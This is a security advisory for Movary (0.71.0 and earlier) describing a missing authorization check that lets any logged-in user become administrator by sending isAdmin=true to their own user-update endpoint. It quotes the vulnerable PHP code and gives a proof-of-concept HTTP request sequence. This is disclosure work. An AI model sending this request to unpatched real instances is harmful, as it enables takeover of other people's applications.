Authenticated User Can Self-Escalate to Administrator via PUT /settings/users/{userId} by Setting isAdmin=true

High **leepeuker** published **GHSA-mcfq-8rx7-w25v** last week

Package

No package listed

Affected versions

<= 0.71.0

Patched versions

>= 0.71.1

Description

Summary

An ordinary authenticated user can escalate their own account to administrator by sending `isAdmin=true` to `PUT /settings/users/{userId}` for their own user ID.

The endpoint is intended to let a user edit their own profile, but it updates the sensitive `isAdmin` field without any admin-only authorization check.

Details

The affected route is defined in `settings/routes.php`:

```
$routes->add('PUT', '/settings/users/{userId:\d+}', [Web\UserController::class, 'u
```

This route only requires the user to be authenticated.

Inside `src/HttpController/Web/UserController.php`, the authorization logic allows either administrators or the current user to update the target record:

```
if ($currentUser->getId() !== $userId && $currentUser->isAdmin() === false) {
    return Response::createForbidden();
}
```

That means any user is allowed to update their own record. The issue is that the same handler also updates the administrative privilege flag directly from attacker-controlled request data:

```
$this->userApi->updateName($userId, $requestUserData['name']);
$this->userApi->updateEmail($userId, $requestUserData['email']);
$this->userApi->updateIsAdmin($userId, $requestUserData['isAdmin']);
```

The sink in `src/Domain/User/UserRepository.php` writes the value directly into the database:

```
public function updateIsAdmin(int $userId, bool $isAdmin) : void
{
    $this->dbConnection->update('user', ['is_admin' => (int)$isAdmin], ['id' => $userId]
}
```

There is no secondary check that restricts `isAdmin` updates to existing administrators only.

I reproduced this against a Dockerized local instance. I logged in as a normal user `alice`, confirmed that her login response contained `isAdmin:false`, then sent a self-update request that changed `isAdmin` to `true`. After that, the same session was recognized as administrative and could access admin-only pages.

PoC

To reproduce:

1. Start the application.
2. Create the initial administrator account.
3. Create a normal user, for example `alice@example.com / AliceUser123!`.
4. Log in as `alice` and retain the authenticated cookie.

The login response confirms that `alice` is initially a normal user:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"authToken":"80cc0a91c8c8d3a0f7ce2457d6c1595f","user":{"id":2,"name":"alice","isAdmin":
```

Then send the following self-update request:

```
PUT /settings/users/2 HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={alice_cookie}; PHPSESSID={alice_session}
Content-Type: application/json

{"name":"alice","email":"alice@example.com","password":null,"isAdmin":true}
```

Response:

```
HTTP/1.1 200 OK
```

Now verify the privilege change using the same session:

```
GET /api/authentication/token HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={alice_cookie}; PHPSESSID={alice_session}
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"user":{"id":2,"name":"alice","isAdmin":true}}
```

You can also confirm access to an administrator-only page:

```
GET /settings/server/users HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={alice_cookie}; PHPSESSID={alice_session}
```

Response:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html ...>
<title>Settings - App | Movary</title>
...
```

Impact

Any ordinary authenticated user can grant themselves administrative privileges in a single request.

This results in a straightforward full privilege escalation, allowing a normal user to access administrator-only settings and take over the application.

Severity

High 8.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-40349

Weaknesses

▶ CWE-862

Credits

kitu232 Reporter